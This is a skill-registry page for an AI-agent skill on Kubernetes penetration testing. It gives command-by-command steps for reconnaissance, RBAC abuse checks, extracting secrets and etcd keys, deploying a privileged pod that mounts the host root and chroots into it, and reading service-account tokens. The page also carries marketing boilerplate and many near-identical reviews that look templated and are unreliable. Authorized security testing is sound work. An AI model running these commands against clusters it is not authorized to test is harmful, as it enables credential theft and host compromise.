performing-kubernetes-penetration-testing▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
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Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools
| name | performing-kubernetes-penetration-testing |
| description | Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools |
| domain | cybersecurity |
| subdomain | container-security |
| tags | - containers - kubernetes - security - penetration-testing - offensive-security |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - PR.IR-01 - ID.AM-08 - DE.CM-01 |
Performing Kubernetes Penetration Testing
Overview
Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.
When to Use
- When conducting security assessments that involve performing kubernetes penetration testing
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Authorized penetration testing engagement
- Kubernetes cluster access (various levels for different test scenarios)
- kube-hunter, kubescape, kube-bench installed
- kubectl configured
- Network access to cluster components
Core Concepts
Kubernetes Attack Surface
| Component | Port | Attack Vectors |
|---|---|---|
| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |
| Kubelet | 10250/10255 | Unauthenticated access, command execution |
| etcd | 2379/2380 | Unauthenticated read, secret extraction |
| Dashboard | 8443 | Default credentials, token theft |
| NodePort Services | 30000-32767 | Service exposure, application exploits |
| CoreDNS | 53 | DNS spoofing, zone transfer |
MITRE ATT&CK for Kubernetes
| Phase | Techniques |
|---|---|
| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |
| Execution | exec into container, CronJob, deploy privileged pod |
| Persistence | Backdoor container, mutating webhook, static pod |
| Privilege Escalation | Privileged container, node access, RBAC abuse |
| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |
| Credential Access | Secret extraction, service account token theft |
| Lateral Movement | Container escape, cluster internal services |
Workflow
Step 1: External Reconnaissance
# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com
# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version
# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces
# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods # Read-only kubelet
Step 2: Automated Scanning with kube-hunter
# Install kube-hunter
pip install kube-hunter
# Remote scan
kube-hunter --remote target-cluster.com
# Internal network scan (from within cluster)
kube-hunter --internal
# Pod scan (from within a pod)
kube-hunter --pod
# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json
Step 3: CIS Benchmark Assessment with kube-bench
# Run kube-bench on master node
kube-bench run --targets master
# Run on worker node
kube-bench run --targets node
# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3
# JSON output
kube-bench run --json > kube-bench-results.json
# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench
Step 4: Framework Compliance with Kubescape
# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
# Scan against NSA/CISA hardening guide
kubescape scan framework nsa
# Scan against MITRE ATT&CK
kubescape scan framework mitre
# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1
# Scan specific namespace
kubescape scan framework nsa --namespace production
# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json
Step 5: RBAC Exploitation Testing
# Check current permissions
kubectl auth can-i --list
# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*' # cluster-admin check
# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'
# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'
# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods
Step 6: Secret Extraction Testing
# List all secrets
kubectl get secrets -A
# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d
# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'
# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'
# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets --prefix --keys-only
Step 7: Pod Exploitation
# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pentest-pod
namespace: default
spec:
hostNetwork: true
hostPID: true
containers:
- name: pentest
image: ubuntu:22.04
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
EOF
# Exec into pod
kubectl exec -it pentest-pod -- bash
# From inside privileged pod - access host filesystem
chroot /host
# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Step 8: Network Policy Testing
# Check for network policies
kubectl get networkpolicies -A
# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc
# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com
# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/
Validation Commands
# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json
# Cross-validate with Kubescape
kubescape scan framework nsa --format json
# Check remediation effectiveness
kube-bench run --targets master,node --json
# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata
References
How to use performing-kubernetes-penetration-testing on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add performing-kubernetes-penetration-testing
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches performing-kubernetes-penetration-testing from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate performing-kubernetes-penetration-testing. Access the skill through slash commands (e.g., /performing-kubernetes-penetration-testing) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.5★★★★★43 reviews- ★★★★★Diya Kapoor· Dec 24, 2024
Solid pick for teams standardizing on skills: performing-kubernetes-penetration-testing is focused, and the summary matches what you get after install.
- ★★★★★Dhruvi Jain· Dec 20, 2024
Solid pick for teams standardizing on skills: performing-kubernetes-penetration-testing is focused, and the summary matches what you get after install.
- ★★★★★Aditi Anderson· Dec 12, 2024
performing-kubernetes-penetration-testing has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Aditi Haddad· Dec 12, 2024
We added performing-kubernetes-penetration-testing from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Aditi Sharma· Dec 8, 2024
performing-kubernetes-penetration-testing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Charlotte Garcia· Nov 15, 2024
We added performing-kubernetes-penetration-testing from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Oshnikdeep· Nov 11, 2024
We added performing-kubernetes-penetration-testing from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Kiara Farah· Nov 11, 2024
performing-kubernetes-penetration-testing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Rahul Santra· Nov 7, 2024
performing-kubernetes-penetration-testing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Zaid Jackson· Nov 3, 2024
performing-kubernetes-penetration-testing fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
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